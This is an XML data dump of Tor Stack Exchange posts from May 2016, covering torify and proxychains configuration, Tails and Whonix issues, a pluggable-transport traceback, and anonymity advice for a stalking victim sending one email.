  <row Id="10527" PostTypeId="2" ParentId="9918" CreationDate="2016-05-22T17:48:17.593" Score="1" Body="&lt;p&gt;Actually it &lt;em&gt;can compromise you&lt;/em&gt;, if you're using a browser with WebRTC enabled, and the page you're opening has the same tracking code - via WebRTC some leaks are theoretically possible. That's actually why WebRTC is disabled in Tor Browser Bundle&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-22T17:48:17.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10528" PostTypeId="1" CreationDate="2016-05-22T20:05:05.707" Score="0" ViewCount="110" Body="&lt;p&gt;I'm running Ubuntu MATE and whenever I try to torify something, it runs in the background but doesn't show a GUI (Firefox, Thunderbird, etc)&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2016-07-22T05:33:03.177" Title="Torify isn't allowing GUIs to be shown" Tags="|firefox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10529" PostTypeId="1" CreationDate="2016-05-22T20:20:41.270" Score="3" ViewCount="3189" Body="&lt;p&gt;I configured my Kali Linux Vm to run through the Whonix Gateway, however portscanning is not possible now as it shows that all ports are open, which is definitely not the case on my server. Is there a way to fix this? When googling I found out that it has something to to with Whonix' firewall, however I have not been able to find an answer on how to edit the firewall so that portscanning would work. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12968" LastActivityDate="2016-05-22T20:52:07.333" Title="Is there a way to get portscanning (nmap) to work through Whonix?" Tags="|whonix|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10530" PostTypeId="2" ParentId="10528" CreationDate="2016-05-22T20:23:15.397" Score="1" Body="&lt;p&gt;torsocks (torify, usewithtor, tsocks, et al) isn't generally suitable for large, complex applications (or specific types of simple application). To ensure connections are made through tor and to help prevent against leaks, it hooks multiple libc function calls. Some of them are even disabled if they cannot be safely torified. As such certain functionality that applications might normally expect to be available won't be and it may end up breaking it in unexpected ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should not be the first method used to try to connect an application over Tor, native SOCKS5h or SOCKS4a support should be preferred. In this case both Firefox and Thunderbird already have native SOCKS5h support, however they may end up leaking which is why you should prefer using &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser&lt;/a&gt;, which has specific patches to prevent this, or an operating system with a desktop environment configured to work within a tor-enforcing like &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-22T20:23:15.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10531" PostTypeId="2" ParentId="10529" CreationDate="2016-05-22T20:52:07.333" Score="3" Body="&lt;p&gt;You should read about how nmap works and how iptables transproxying works or SOCKS proxying works and then realise that you will not be able to effectively nmap over a whonix gateway nor should you ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nmap uses by default the &quot;SYN Scan&quot; technique, this means that it sends a TCP SYN packet to each of the ip:port pairs on the list, if it gets a SYN+ACK back from the destination, it considers the port open. (If it gets a RST then, conversely, it considers it 'closed' and if nothing ever comes back it considers it 'filtered').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a local SOCKS proxy is expected to accept a connection then &quot;dial&quot; the remote address, it's always &quot;open&quot; in the proxychain/torsocks case. And similarly transproxy will produce the same results results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Port scanning over Tor is both harmful to the Tor network (its loud, obvious and generates a lot of &quot;abuse&quot; reports for exit operators to deal with) and ineffective. You should not do it, there are better methods for both you and the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S. quit skiddin'&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-22T20:52:07.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10532" PostTypeId="1" CreationDate="2016-05-22T23:23:31.207" Score="2" ViewCount="2272" Body="&lt;p&gt;My objective is tor --&gt; socks proxy --&gt; destination&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for doing this is to access sites that do not like Tor exit nodes. This is all done on &lt;strong&gt;Tails&lt;/strong&gt; I have tried running this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxychains tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo proxychains tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only to produce the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ProxyChains-3.1 (http://proxychains.sf.net)&#xA;&#xA;(process:10322): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed&#xA;Can't locate proxychains.conf: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My proxychains.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strict_chain&#xA;proxy_dns &#xA;tcp_read_time_out 15000&#xA;tcp_connect_time_out 8000&#xA;[ProxyList]&#xA;socks4  127.0.0.1 9050&#xA;socks5  127.0.0.1 5160 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have only added the socks5 line. I have seen &lt;a href=&quot;https://tor.stackexchange.com/search?q=proxychains&quot;&gt;these&lt;/a&gt; none of them answer my question and my question is specifically related to &lt;strong&gt;Tails&lt;/strong&gt;. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12971" LastEditorUserId="88" LastEditDate="2016-05-23T22:36:05.860" LastActivityDate="2019-02-21T22:34:29.530" Title="proxychain not finding proxychains.conf Tails 2.3" Tags="|tails|socks|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10533" PostTypeId="1" CreationDate="2016-05-22T23:41:30.563" Score="2" ViewCount="438" Body="&lt;p&gt;What is the easiest, most secure way for me to send a one-time email to my stalker without him learning my general physical location from my IP? Can I do this by installing the Tor Browser and then using that to go through something like guerillamail? Will that mask my IP/physical location? I don't want to hear back from him. He just needs to be given some information. I'd rather use a disposable email if at all possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Believe me, he will sue an email provider to get my location if he can. If he knows the city/state, it's over. I don't have the money to run again should he find me. I'm not a hacker type, but I can follow directions step-by-step if there is a good guide somewhere. I'm using a Mac. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw that someone flagged my question as a duplicate and went to read what was posted under the other person's question. I appreciate the help, and please accept my apologies for saying so, but I'm not seeing a cohesive, easy-to-execute solution under the duplicate that fits what I'm looking for. It sounds like there's some disagreement on what really works, plus the most detailed answer went way over my head. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone suggested going to a local public wifi and using that, the library or a coffee shop, in addition to using TOR, squirrel mail, etc., but my stalker would still be able to figure out the city and state where I live from the public wifi's IP. If I had a car and the money to drive several hundred miles to use a public wifi that wasn't in my state, I would be on the road right now and none of this would be necessary. No need to hide the IP. If he believed I was in that other state, fantastic. Nor, do I need encryption. I couldn't care less who might see the email. My stalker doesn't need to verify the email was from me. He'll know. And the last thing I want to do is exchange correspondence with him. All I needed was a way to safely hide my location when sending him a single, one-way email. A method where him suing the email provider to get my IP would be difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have learned from these extensive and thoughtful answers is that it's almost impossible to hide your location, and only someone with a specific skill set should attempt it. Which leaves me out. Thank you to whomever posted the link about TOR/Guerilla Mail. Whew, you saved me there. I was just about to go that route. Bottom line, decided it's better to take the consequences of not sending the email in the first place, than risk being found. &lt;/p&gt;&#xA;" OwnerUserId="12972" LastEditorUserId="12972" LastEditDate="2016-05-23T02:44:03.500" LastActivityDate="2016-05-24T10:04:40.583" Title="I need to send an email to my stalker without him knowing my location" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ClosedDate="2016-05-24T20:05:13.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="10534" PostTypeId="2" ParentId="10533" CreationDate="2016-05-23T00:17:38.863" Score="0" Body="&lt;p&gt;A service such as &lt;a href=&quot;https://posteo.de&quot; rel=&quot;nofollow&quot;&gt;https://posteo.de&lt;/a&gt; would allow you to create an anonymous email account, that is completely disconnected from any real world information. Posteo strip any IP addresses from the header, so he will not be able to find your location. Here is their &lt;a href=&quot;https://posteo.de/en/site/privacy&quot; rel=&quot;nofollow&quot;&gt;privacy page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be reassuring in terms of him trying the legal route to get access to your information:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With Posteo, you sign up without having to enter any personal information. We abstain in general from saving personal information. This prevents the pile-up of data and constitutes acting in line with the principles of data economy. We give you back sovereignty over your personal information and increase your right to informational self-determination.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Under German law (TKG §111) email service providers do not have to collect user information if it is not necessary (e.g. for billing purposes). Posteo makes use of this regulation.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. I know that this isn't to do with tor but this should work if you want to create an email address anonymously. &lt;/p&gt;&#xA;" OwnerUserId="12973" LastEditorUserId="88" LastEditDate="2016-05-24T10:04:40.583" LastActivityDate="2016-05-24T10:04:40.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10535" PostTypeId="2" ParentId="10532" CreationDate="2016-05-23T00:50:34.987" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;your proxychains setup will not work, this is not how proxying works, you should probably stop right here as you don't fully&#xA;  understand what it is you are even trying to achieve. You cannot ask a&#xA;  remote host to &quot;chain&quot; a proxy to a local host address, the end-point&#xA;  of the proxied connection (tor exit) should reject any connection&#xA;  attempt to ask it to connect to 127.0.0.1:5160, and even if it allowed&#xA;  it the exit probably isn't going to be running a socks proxy on that&#xA;  specific port and it will fail.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A localhost IP will fail, but he can find many free proxies on the internet that he can use.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;tails uses apparmor to restrict what tor browser can do to reduce the impact of exploits against the browser. this is the source of your&#xA;  &quot;Permission denied&quot; error.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He is basically requesting what needs to be changed in the AppArmor config file for torbrowser in order to get proxychains working with torbrowser. Sure, you can use iceweasel instead of torbrowser, but torbrowser brings more customization for anonymity than iceweasel does.&#xA;By experimenting I found that it is not enough to allow torbrowser to access the proxychains.conf file in the AppArmmor config. Proxychains would also hook the network syscalls, which might also be prevented by AppArmor. It would be good if someone with knowledge about AppArmor could figure out what the necessary changes are.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;4&quot;&gt;&#xA;  &lt;li&gt;even if you got your proxychains config right, accepted that proxychains leaked and wanted to use it anyway and disabled important&#xA;  security precautions that protect you from exploitation...it &lt;strong&gt;&lt;em&gt;still&#xA;  wouldn't work&lt;/em&gt;&lt;/strong&gt; because tor browser is trying to use a proxy already,&#xA;  which means wrapping it in proxychains will be trying to tell the exit&#xA;  node to connect out to some random external socks proxy, where upon&#xA;  you try to use some supposed tor socks port being provided by that&#xA;  external socks proxy on it's own localhost interface. It's, once&#xA;  again, not likely to be running one, is it? Never mind the &quot;tor over&#xA;  tor&quot; problem you'd have introduced.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What he can do is just disable the proxy usage within the browser and let proxychains manage the proxys instead of the browser. That definitely works.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="25314" LastEditDate="2019-02-21T22:34:29.530" LastActivityDate="2019-02-21T22:34:29.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10538" PostTypeId="1" AcceptedAnswerId="10575" CreationDate="2016-05-23T07:14:11.400" Score="3" ViewCount="87" Body="&lt;p&gt;How to get &lt;a href=&quot;https://bitbucket.org/mjuarezm/obfsproxy_wfpadtools.git&quot; rel=&quot;nofollow&quot;&gt;the website fingerprinting defense wfpad&lt;/a&gt; to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adapting the files in &lt;a href=&quot;https://github.com/NullHypothesis/scramblesuit/tree/master/test&quot; rel=&quot;nofollow&quot;&gt;scramblesuit's &lt;code&gt;test/&lt;/code&gt; directory&lt;/a&gt; to &lt;a href=&quot;https://bitbucket.org/mjuarezm/obfsproxy_wfpadtools.git&quot; rel=&quot;nofollow&quot;&gt;wfpad&lt;/a&gt; worked for the &lt;a href=&quot;https://github.com/NullHypothesis/scramblesuit/blob/master/test/start_external_client.sh&quot; rel=&quot;nofollow&quot;&gt;stand&lt;/a&gt;-&lt;a href=&quot;https://github.com/NullHypothesis/scramblesuit/blob/master/test/start_external_server.sh&quot; rel=&quot;nofollow&quot;&gt;alone&lt;/a&gt; operations (replacing &lt;code&gt;scramblesuit&lt;/code&gt; with &lt;code&gt;wfpad&lt;/code&gt;), but failed when started with adapted &lt;code&gt;torrc&lt;/code&gt; files. The adapted &lt;code&gt;torrc&lt;/code&gt; files are:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;torrc.server&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Feel free to adapt the path.&#xA;DataDirectory /tmp/wfpad-torserver    &#xA;Log notice stdout    &#xA;SOCKSPort auto    &#xA;AssumeReachable 1    &#xA;PublishServerDescriptor 0    &#xA;Exitpolicy reject *:*    &#xA;ORPort auto    &#xA;Nickname &quot;WfpadTest&quot;    &#xA;BridgeRelay 1    &#xA;ServerTransportListenAddr wfpad 127.0.0.1:40535&#xA;ServerTransportPlugin wfpad exec /home/tortest/obfsproxy_wfpadtools/bin/obfsproxy \&#xA;    --log-min-severity=debug \&#xA;    --log-file=/tmp/wfpad-server.log \&#xA;    managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;torrc.client&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Feel free to adapt the path.&#xA;DataDirectory /tmp/wfpad-torclient    &#xA;Log notice stdout    &#xA;SOCKSPort auto    &#xA;UseBridges 1    &#xA;Bridge wfpad 127.0.0.1:40535    &#xA;ClientTransportPlugin wfpad exec /home/tortest/obfsproxy_wfpadtools/bin/obfsproxy \&#xA;    --log-min-severity=debug \&#xA;    --log-file=/tmp/wfpad-client.log \&#xA;    managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;error message&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2016-05-22 10:32:05,499 [DEBUG] [wfpad - client] Connected with the other WFPad end.&#xA;Unhandled Error&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/log.py&quot;, line 101, in callWithLogger&#xA;    return callWithContext({&quot;system&quot;: lp}, func, *args, **kw)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/log.py&quot;, line 84, in callWithContext&#xA;    return context.call({ILogContext: newCtx}, func, *args, **kw)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/context.py&quot;, line 118, in callWithContext&#xA;    return self.currentContext().callWithContext(ctx, func, *args, **kw)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/context.py&quot;, line 81, in callWithContext&#xA;    return func(*args,**kw)&#xA;--- &amp;lt;exception caught here&amp;gt; ---&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py&quot;, line 602, in _doReadOrWrite&#xA;    why = selectable.doWrite()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py&quot;, line 587, in doConnect&#xA;    self._connectDone()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py&quot;, line 616, in _connectDone&#xA;    self.protocol.makeConnection(self)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/protocol.py&quot;, line 494, in makeConnection&#xA;    self.connectionMade()&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/network/network.py&quot;, line 281, in connectionMade&#xA;    self.circuit.setDownstreamConnection(self)&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/network/network.py&quot;, line 97, in setDownstreamConnection&#xA;    self.circuitCompleted(self.upstream)&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/network/network.py&quot;, line 134, in circuitCompleted&#xA;    self.transport.circuitConnected()&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/transports/wfpadtools/wfpad.py&quot;, line 197, in circuitConnected&#xA;    self.connections = self.process.get_connections()&#xA;exceptions.AttributeError: 'Process' object has no attribute 'get_connections'&#xA;&#xA;2016-05-22 10:32:05,574 [CRITICAL] Unhandled Error&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/log.py&quot;, line 101, in callWithLogger&#xA;    return callWithContext({&quot;system&quot;: lp}, func, *args, **kw)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/log.py&quot;, line 84, in callWithContext&#xA;    return context.call({ILogContext: newCtx}, func, *args, **kw)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/context.py&quot;, line 118, in callWithContext&#xA;    return self.currentContext().callWithContext(ctx, func, *args, **kw)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/python/context.py&quot;, line 81, in callWithContext&#xA;    return func(*args,**kw)&#xA;--- &amp;lt;exception caught here&amp;gt; ---&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py&quot;, line 602, in _doReadOrWrite&#xA;    why = selectable.doWrite()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py&quot;, line 587, in doConnect&#xA;    self._connectDone()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py&quot;, line 616, in _connectDone&#xA;    self.protocol.makeConnection(self)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/protocol.py&quot;, line 494, in makeConnection&#xA;    self.connectionMade()&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/network/network.py&quot;, line 281, in connectionMade&#xA;    self.circuit.setDownstreamConnection(self)&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/network/network.py&quot;, line 97, in setDownstreamConnection&#xA;    self.circuitCompleted(self.upstream)&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/network/network.py&quot;, line 134, in circuitCompleted&#xA;    self.transport.circuitConnected()&#xA;  File &quot;/home/tortest/obfsproxy_wfpadtools/obfsproxy/transports/wfpadtools/wfpad.py&quot;, line 197, in circuitConnected&#xA;    self.connections = self.process.get_connections()&#xA;exceptions.AttributeError: 'Process' object has no attribute 'get_connections'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2016-05-25T15:00:29.497" Title="How to set up the Wfpad pluggable transport" Tags="|pluggable-transports|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10539" PostTypeId="1" CreationDate="2016-05-23T12:49:07.710" Score="1" ViewCount="105" Body="&lt;p&gt;Ive been experimenting and looking for info on this. &#xA;Want to rotate between 3 specific exit nodes located in one country. &#xA;What is the syntax for Exitnodes parameter?&lt;/p&gt;&#xA;" OwnerUserId="12979" LastActivityDate="2016-05-23T13:46:12.147" Title="Can I set one of 3 specific IP addresses as exit node? What is the syntax?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-23T22:36:32.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="10540" PostTypeId="2" ParentId="10539" CreationDate="2016-05-23T13:46:12.147" Score="0" Body="&lt;p&gt;hashes, not ip's are specified. You need to get their tor ID's and specify as it says &quot;in comma-separated list&quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-23T13:46:12.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10541" PostTypeId="1" CreationDate="2016-05-23T14:47:49.003" Score="2" ViewCount="114" Body="&lt;p&gt;I don't know why today when I try to make a research the solutions appear within DuckDuckGo , a HTML??. It's automatic. I don't want this option.&#xA;I don't know how to remove that to stay on my &quot;disconnect page like before (I mean Tor page only)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help Please ?&lt;/p&gt;&#xA;" OwnerUserId="12398" LastActivityDate="2016-05-23T14:47:49.003" Title="Tor Browser issue with DuckDuckGo" Tags="|tor-browser-bundle|configuration|security|" AnswerCount="0" CommentCount="4" ClosedDate="2016-06-07T14:04:15.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="10542" PostTypeId="1" CreationDate="2016-05-23T15:56:51.293" Score="2" ViewCount="2753" Body="&lt;p&gt;I wanted to install a program on terminal but it's blocked. How do I torfiy my terminal to fetch the package over Tor?&lt;/p&gt;&#xA;" OwnerUserId="10184" LastEditorUserId="107" LastEditDate="2016-05-24T19:55:23.960" LastActivityDate="2016-06-23T20:29:04.930" Title="How can I force terminal to use Tor on Ubuntu" Tags="|ubuntu|censorship|torsocks|terminal|torify|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10543" PostTypeId="1" CreationDate="2016-05-23T17:12:48.250" Score="1" ViewCount="5676" Body="&lt;p&gt;I get an error that says &quot;WARNING: No configuration file found&quot; and my screen turns bright red and doesn't do anything. I disabled &quot;Safe Boot&quot; the Bios option, and it won't boot via USB. I am using Windows 10 and was wondering perhaps that may be the cause.&lt;/p&gt;&#xA;" OwnerUserId="12981" LastEditorUserId="88" LastEditDate="2016-05-23T22:37:09.913" LastActivityDate="2016-06-07T15:46:34.867" Title="Windows 10 causing error on booting Tails from USB" Tags="|tails|windows|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10545" PostTypeId="2" ParentId="10542" CreationDate="2016-05-23T19:29:40.567" Score="1" Body="&lt;p&gt;Assuming you want to do this using &lt;code&gt;apt-get&lt;/code&gt;, rather than building from source, you can use torify in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# torify apt-get update&#xA;# torify apt-get install &amp;lt;jdk_packages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[A similar solution was offered here: &lt;a href=&quot;https://tor.stackexchange.com/a/839/1730]&quot;&gt;https://tor.stackexchange.com/a/839/1730]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-05-23T19:29:40.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10546" PostTypeId="1" AcceptedAnswerId="10548" CreationDate="2016-05-23T21:57:33.370" Score="1" ViewCount="168" Body="&lt;p&gt;Some if not all of my projects contains folders with symbols in them. Often a leading &lt;code&gt;#&lt;/code&gt; hash character or &lt;code&gt;$&lt;/code&gt; dollar sign. When i try to set such a directory within a path like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory Y:\Workspace\$projectFiles\\#include\alpha\data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor.exe&lt;/code&gt; only gets everything up until the eol char before continuing like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory Y:\Workspace\$projectFiles\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could someone add either a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eolChar 1|0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eolChar *char*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to either options or as a command-line switch? Or a better way to define paths like a dedicated paths file relative to &lt;code&gt;tor.exe&lt;/code&gt; location.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="88" LastEditDate="2016-05-24T19:48:05.757" LastActivityDate="2016-05-25T00:21:38.920" Title="torcc directory paths not parsed" Tags="|configuration|windows|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10547" PostTypeId="2" ParentId="10533" CreationDate="2016-05-23T22:04:04.457" Score="1" Body="&lt;p&gt;Since you found the other answers unsatisfying here is both a tl;dr and a longread for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: &lt;a href=&quot;https://tails.boum.org/install/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Install Tails&lt;/a&gt; by following the step by step guide here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: Create an email account with any email provider who allows signing up over tor and provides webmail access. The provider must either not ask for or not verify personally identifying information. If the latter, provide false information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: Send your email from webmail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the browser doesn't report your local IP to the webmail it can only see the Tor IP neither they, nor the recipient will have knowledge of your true location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, anonymity and &quot;hiding your IP&quot; are different things, sometimes it's mistakenly assumed that the latter ensures the former but this isn't true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things to consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Greenpeace fallacy, or &quot;I solemnly swear that I'm up to no good&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Greenpeace used to use PGP for their emails but they decided that they would only use PGP for their emails when they were planning something risky/big/important. This acts as a signal to anyone watching. Who is emailing who with encrypted emails and when would reveal large parts of their plan to any observer. Similarly, if you use Tor once and the only time you use Tor is at the same time as the email was sent from Tor, that's going to look suspicious&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Acting locally.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When people do something naughty anonymously they often make the mistake of trying to influence something local, often personal. This means that no matter how well obfuscated your network connection is, the list of people local to the issue who are Tor users is quite small. It will make you (and any other local Tor users) look very suspicious indeed. If your &quot;stalker&quot; knows who you are then your email will likely reveal your identity even if you never explicitly state it and consequently, your identity will almost certainly reveal where you are.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pattern recognition.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Acting anonymously with a single act with no long term identity is workable. In reality however, most people don't want anonymity for most things that they do socially. Instead they wish to create a pseudonymous identity, this is an identity that is kept long-term but is never linked to their real identity, but that people might recognise them by. Remaining pseudonymous with a long-term identity while also acting with your &quot;real&quot; identity is a lot harder to do. Patterns between activity and no activity, patterns in stylometry and patterns in behaviour eventually build a link and normally most people under pressure will make a catastrophic mistake before that even happens. Do not repeatedly and predictably return to the same watering holes, lest they become traps.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-23T22:04:04.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10548" PostTypeId="2" ParentId="10546" CreationDate="2016-05-23T22:26:38.530" Score="1" Body="&lt;p&gt;&lt;em&gt;edited to provide the correct answer only, rather than a hacky workaround&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encapsulate the whole directory path in &lt;code&gt;&quot;&lt;/code&gt; characters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory &quot;Y:\\Workspace\\$projectFiles\\#include\\alpha\\data&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you wanted to put quotes inside of your directory name, you could by using C style escaping: &lt;code&gt;\&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory &quot;Y:\\Workspace\\\&quot;$projectFiles\&quot;\\#include\\alpha\\data&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-25T00:21:38.920" LastActivityDate="2016-05-25T00:21:38.920" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
